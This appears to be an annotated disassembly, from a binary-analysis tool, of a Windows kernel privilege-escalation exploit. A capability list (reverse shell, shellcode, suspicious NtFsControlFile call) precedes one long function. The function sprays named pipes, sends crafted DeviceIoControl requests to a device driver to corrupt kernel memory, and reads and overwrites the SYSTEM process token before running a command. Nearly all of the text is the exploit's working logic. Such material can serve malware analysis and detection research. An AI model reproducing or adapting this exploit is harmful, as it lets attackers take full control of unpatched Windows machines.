Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create pipe
Create reverse shell
Execute command
Execute shellcode via indirect call
Make suspicious ntfscontrolfile call
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x2f8]
sub rsp, 0x3f8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
lea rcx, str.Ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001186
xor edx, edx
lea rcx, [rbp - 0x4c]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x114
call rbx
test eax, eax
jne 0x140001186
mov edx, dword [rbp - 0x44]
lea rcx, str.___Version_:__d_n
call fcn.140001010
mov eax, dword [rbp - 0x44]
cmp eax, 0x6590
jbe 0x140001125
mov dword [0x1400056a4], 0x1d0
mov dword [0x140005738], 0x1d8
mov dword [0x1400056a0], 0x248
mov dword [0x140005730], 0x540
jmp 0x14000117c
cmp eax, 0x4e20
ja 0x140001154
cmp eax, 0x4a60
jbe 0x14000113f
mov dword [0x140005730], 0x4b0
jmp 0x14000115e
lea rcx, str.Not_Supported_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [0x140005730], 0x500
mov dword [0x1400056a0], 0x4b8
mov dword [0x140005738], 0x448
mov dword [0x1400056a4], 0x440
mov dword [0x140005734], 0x220
lea rcx, str.ntdll.dll
mov qword [rsp + 0x420], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtFsControlFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtWow64WriteVirtualMemory64
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test eax, eax
je 0x140001c94
mov qword [rsp + 0x410], rsi
lea rbx, [0x1400057d0]
mov qword [rsp + 0x418], rdi
xor esi, esi
mov qword [rsp + 0x3f0], r13
lea rdi, [0x1400157d0]
mov qword [rsp + 0x3e8], r14
mov qword [rsp + 0x3e0], r15
nop dword [rax]
nop word [rax + rax]
mov qword [rsp + 0x38], rsi
lea rcx, str..pipeexploit_test
mov dword [rsp + 0x30], esi
mov r9d, 0xff
mov dword [rsp + 0x28], 0xffffffff
xor r8d, r8d
mov edx, 0x40000002
mov dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rsp + 0x30], rsi
lea rcx, str..pipeexploit_test
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov qword [rbx + 8], rax
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx], rax
add rbx, 0x10
cmp rbx, rdi
jl 0x140001220
mov qword [rsp + 0x38], rsi
lea rcx, str..pipeexploit_test
mov dword [rsp + 0x30], esi
mov r9d, 0xff
mov dword [rsp + 0x28], 0xffffffff
xor r8d, r8d
mov edx, 0x40000002
mov dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rsp + 0x30], rsi
lea rcx, str..pipeexploit_test
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov qword [0x140005698], rax
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, 0x10000
mov qword [0x140005690], rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edx, 0x77
mov r8d, 0x10000
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x1000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14d, 0x40
mov edx, 0x2000
mov r9d, r14d
mov qword [0x140005678], rax
mov ecx, 0x13370000
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [0x140005678]
xor edx, edx
mov r8d, 0x1000
lea r15, [rax + 0xfa0]
mov qword [0x140005748], r15
call sub.VCRUNTIME140.dll_memset
mov edx, 0x41
mov r8d, 0x1060
mov rcx, r15
call sub.VCRUNTIME140.dll_memset
mov qword [r15 + 0xff0], rsi
lea rcx, [rbp + 0xd0]
mov qword [r15 + 0xff8], rsi
xor edx, edx
mov qword [r15 + 0x1000], rsi
mov r8d, 0x200
mov qword [r15 + 0x1008], rsi
mov qword [r15 + 0x1010], rsi
mov qword [r15 + 0x1018], 0x4000
mov dword [rsp + 0x68], 0x3c0d501a
mov dword [rsp + 0x6c], 0x11d1140b
mov dword [rsp + 0x70], 0xa0000fb4
mov dword [rsp + 0x74], 0x963122c9
call sub.VCRUNTIME140.dll_memset
mov r9d, pe_nt_image_headers64
mov dword [rsp + 0x20], 1
lea r8, [rbp + 0xd0]
xor edx, edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.CFGMGR32.dll_CM_Get_Device_Interface_ListW]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0xd0]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, rax
mov qword [rsp + 0x60], rax
lea rcx, str.___hDevice_:__p_n
call fcn.140001010
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rbx, [0x1400057d0]
lea r13, [0x1400157d0]
nop dword [rax]
mov rcx, qword [rbx + 8]
xor r9d, r9d
mov r8d, 0xfc0
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbx + 8]
xor r9d, r9d
mov r8d, 0xfc0
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbx + 8]
xor r9d, r9d
mov r8d, 0xfc0
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rbx, 0x10
cmp rbx, r13
jl 0x140001460
mov rcx, qword [0x140014fd0]
xor r9d, r9d
mov r8d, 0xfc0
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8, qword [0x140005678]
lea rcx, [rsp + 0x50]
mov r13, qword [rsp + 0x60]
movabs rax, 0x400000000
mov qword [rsp + 0x38], rsi
mov edx, 0x2f0007
mov qword [rsp + 0x30], rcx
mov r9d, 0x1000
mov qword [r8 + 0x10], rax
mov rcx, r13
mov rax, qword [0x140005748]
mov dword [rsp + 0x28], 0xfffffff0
mov qword [rsp + 0x20], rax
mov dword [rax], 2
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, qword [0x140005698]
xor r9d, r9d
mov r8d, 0xfc0
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rbx, [0x1400057d0]
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rbx]
lea r9, [rsp + 0x50]
xor eax, eax
mov r8d, 0x4000
mov qword [rsp + 0x28], rax
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], eax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x50], 0x3f00
ja 0x1400015ab
inc esi
lea rax, [0x1400157d0]
add rbx, 0x10
cmp rbx, rax
jl 0x140001560
mov esi, dword [0x14000573c]
jmp 0x1400015b1
mov dword [0x14000573c], esi
mov edx, esi
lea rcx, str.___gotit_:__p_n
call fcn.140001010
cmp dword [0x14000573c], 0
jne 0x1400015d1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [rdi + 0xfd0]
lea rcx, str.___blink_:__llx__flink_:__llx__CCB_:__llx_n
mov r8, qword [rdi + 0xfd8]
add r8, 0x1000
mov qword [0x1400056a8], rdx
mov qword [0x140005740], r8
lea r9, [rdx - 0xa8]
call fcn.140001010
lea rax, [0x140005078]
xor ebx, ebx
mov qword [0x1400056c8], rax
xor r9d, r9d
mov rax, qword [0x140005740]
mov r8d, 0xfc0
mov qword [r15 + 0xff0], rax
mov rdx, rdi
mov rax, qword [0x1400056a8]
mov qword [r15 + 0xff8], rax
lea rax, [0x1400056b0]
mov qword [r15 + 0x1000], rax
mov qword [r15 + 0x1008], rbx
mov qword [r15 + 0x1010], 1
mov qword [r15 + 0x1018], 8
mov rcx, qword [0x140005690]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8, qword [0x140005678]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rbx
movabs rax, 0x400000000
mov qword [rsp + 0x30], rcx
mov edx, 0x2f0007
mov dword [rsp + 0x28], 0xfffffff0
mov r9d, 0x1000
mov qword [r8 + 0x10], rax
mov rcx, r13
mov rax, qword [0x140005748]
mov qword [rsp + 0x20], rax
mov dword [rax], 2
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, qword [0x140005698]
xor r9d, r9d
mov r8d, 0xfc0
mov qword [rsp + 0x20], rbx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [0x14000573c]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x48], ebx
add rcx, rcx
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov dword [rsp + 0x38], 0x1000
lea rbx, [0x1400057d0]
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov rcx, qword [rbx + rcx*8 + 8]
xor edx, edx
mov dword [rsp + 0x28], 0x119ff8
mov qword [rsp + 0x20], rax
call r12
mov ecx, dword [0x14000573c]
lea r9, [rsp + 0x50]
mov rax, qword [0x1400056a8]
lea rdx, [rsp + 0x58]
add rcx, rcx
xor r12d, r12d
add rax, r14
mov qword [rsp + 0x28], r12
mov r8d, 8
mov qword [0x1400056c8], rax
mov qword [rsp + 0x20], r12
mov rcx, qword [rbx + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, 0x1000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, qword [rsp + 0x58]
lea r13, [0x1400057d0]
mov qword [0x1400157d0], rax
mov ebx, r12d
nop word [rax + rax]
mov ecx, dword [0x14000573c]
lea r9, [rsp + 0x50]
add rcx, rcx
mov qword [rsp + 0x28], r12
mov r8d, 8
mov qword [0x1400056c8], rsi
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], r12
mov rcx, qword [r13 + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rcx, qword [0x1400157d0]
lea rbx, [rbx + 8]
mov rax, qword [rsp + 0x58]
add rsi, 8
mov qword [rbx + rcx - 8], rax
sub r14, 1
jne 0x1400017a0
mov rbx, qword [rcx + 0x20]
lea r14, [0x1400057d0]
mov ecx, dword [0x140005734]
lea r9, [rsp + 0x50]
mov eax, dword [0x140005730]
lea rdx, [rsp + 0x58]
sub rcx, rax
mov qword [rsp + 0x28], r12
add rcx, rbx
mov qword [rsp + 0x20], r12
mov qword [0x1400056c8], rcx
mov r8d, 8
mov ecx, dword [0x14000573c]
add rcx, rcx
mov rcx, qword [r14 + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rsi, qword [rsp + 0x58]
lea rcx, str.___CurrentThread_:__llx__CurrentThread_:__llx_n
mov r8, rsi
mov rdx, rbx
call fcn.140001010
mov ecx, dword [0x14000573c]
lea r9, [rsp + 0x50]
mov eax, dword [0x140005738]
lea rdx, [rsp + 0x58]
add rcx, rcx
mov qword [rsp + 0x28], r12
add rax, rsi
mov qword [rsp + 0x20], r12
mov r8d, 8
mov qword [0x1400056c8], rax
mov rcx, qword [r14 + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, dword [0x140005738]
lea r9, [rsp + 0x50]
add rcx, 8
mov qword [rsp + 0x28], r12
add rcx, rsi
mov qword [rsp + 0x20], r12
mov qword [0x1400056c8], rcx
lea rdx, [rsp + 0x78]
mov ecx, dword [0x14000573c]
mov r8d, 8
add rcx, rcx
mov rcx, qword [r14 + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [0x140005738]
lea r9, [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
lea rdx, [rsp + 0x58]
mov ecx, dword [0x14000573c]
sub rbx, rax
mov eax, dword [0x1400056a4]
add rcx, rcx
add rax, rbx
mov qword [rsp + 0x28], r12
mov qword [0x1400056c8], rax
mov r8d, 8
lea rax, [0x1400057d0]
mov qword [rsp + 0x20], r12
mov rcx, qword [rax + rcx*8]
mov r14, r12
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp qword [rsp + 0x58], 4
mov r13, qword [rsp + 0x60]
je 0x140001a30
mov eax, dword [0x140005738]
lea r9, [rbp - 0x80]
mov ecx, dword [0x14000573c]
lea rdx, [rsp + 0x78]
add rax, rbx
mov qword [rsp + 0x28], r12
add rcx, rcx
mov qword [0x1400056c8], rax
lea rax, [0x1400057d0]
mov qword [rsp + 0x20], r12
mov r8d, 8
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, dword [0x140005738]
lea rax, [0x1400057d0]
add rcx, 8
mov qword [rsp + 0x28], r12
add rcx, rbx
mov qword [rsp + 0x20], r12
mov qword [0x1400056c8], rcx
lea r9, [rsp + 0x60]
mov ecx, dword [0x14000573c]
lea rdx, [rbp - 0x78]
add rcx, rcx
mov r8d, 8
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [0x140005738]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
cmp rbx, rcx
je 0x140001a33
mov eax, dword [0x1400056a4]
lea r9, [rsp + 0x50]
add rax, rcx
mov qword [rsp + 0x28], r12
mov rbx, rcx
mov qword [0x1400056c8], rax
mov ecx, dword [0x14000573c]
lea rax, [0x1400057d0]
add rcx, rcx
mov qword [rsp + 0x20], r12
mov r8d, 8
lea rdx, [rsp + 0x58]
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp qword [rsp + 0x58], 4
jne 0x140001940
mov r14, rbx
mov eax, dword [0x1400056a0]
lea r9, [rsp + 0x60]
mov ecx, dword [0x14000573c]
lea rdx, [rsp + 0x78]
add rax, r14
mov qword [rsp + 0x28], r12
add rcx, rcx
mov qword [0x1400056c8], rax
lea rax, [0x1400057d0]
mov qword [rsp + 0x20], r12
mov r8d, 8
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rbx, qword [rsp + 0x78]
lea rcx, str.___SystemProcess_:__llx__SystemToken_:__llx__CurrentProcess_:__llx_n
mov r8, rbx
mov r9, rsi
mov rdx, r14
call fcn.140001010
mov rdx, qword [0x1400157d0]
xor r9d, r9d
mov ecx, dword [0x1400056a0]
mov r8d, 0xfc0
add rcx, 0xfffffffffffffff8
mov qword [rbp - 0x78], r12
add rcx, rsi
mov qword [rbp - 0x70], rbx
movzx eax, byte [rdx + 0x42]
movups xmm0, xmmword [rbp - 0x78]
mov dword [rdx + 0x10], 0x60400
inc al
mov byte [rdx + 0x43], al
lea rax, [0x140005750]
mov qword [rdx + 0x50], rax
mov rax, qword [0x140005740]
mov qword [rdx + 0x48], rcx
movups xmmword [rdx + 0x30], xmm0
mov dword [0x140005754], 1
mov qword [r15 + 0xff0], rax
mov rax, qword [0x1400056a8]
mov qword [r15 + 0x1000], rdx
mov rdx, rdi
mov qword [r15 + 0xff8], rax
mov qword [r15 + 0x1008], r12
mov dword [r15 + 0x1010], 2
mov dword [r15 + 0x1014], 0xf
mov qword [r15 + 0x1018], 0x10
mov rcx, qword [0x140005690]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rax, qword [0x140005748]
lea rcx, [rsp + 0x60]
mov r8, qword [0x140005678]
movabs rbx, 0x400000000
mov qword [rsp + 0x38], r12
mov edx, 0x2f0007
mov qword [rsp + 0x30], rcx
mov r9d, 0x1000
mov dword [rsp + 0x28], 0xfffffff0
mov rcx, r13
mov qword [r8 + 0x10], rbx
mov dword [rax], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [0x14000573c]
lea rax, [0x1400057d0]
add rcx, rcx
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x7c]
mov r8d, 1
mov rdx, rdi
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rax, qword [0x140005740]
mov qword [r15 + 0xff0], rax
mov rax, qword [0x1400056a8]
mov qword [r15 + 0xff8], rax
mov qword [r15 + 0x1000], r12
mov qword [r15 + 0x1008], r12
mov dword [r15 + 0x1010], r12d
mov dword [r15 + 0x1014], 0xfc0
mov rax, qword [0x140005748]
lea r10, [rsp + 0x60]
mov r8, qword [0x140005678]
mov edx, 0x2f0007
mov qword [rsp + 0x38], r12
mov r9d, 0x1000
mov qword [r15 + 0x1018], 0xfc0
mov rcx, r13
mov qword [rsp + 0x30], r10
mov qword [r8 + 0x10], rbx
mov dword [rsp + 0x28], 0xfffffff0
mov dword [rax], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003458]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14, qword [rsp + 0x3e8]
mov r13, qword [rsp + 0x3f0]
mov rsi, qword [rsp + 0x410]
mov rdi, qword [rsp + 0x418]
mov r15, qword [rsp + 0x3e0]
mov r12, qword [rsp + 0x420]
xor eax, eax
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.140001cd0
add rsp, 0x3f8
pop rbx
pop rbp
ret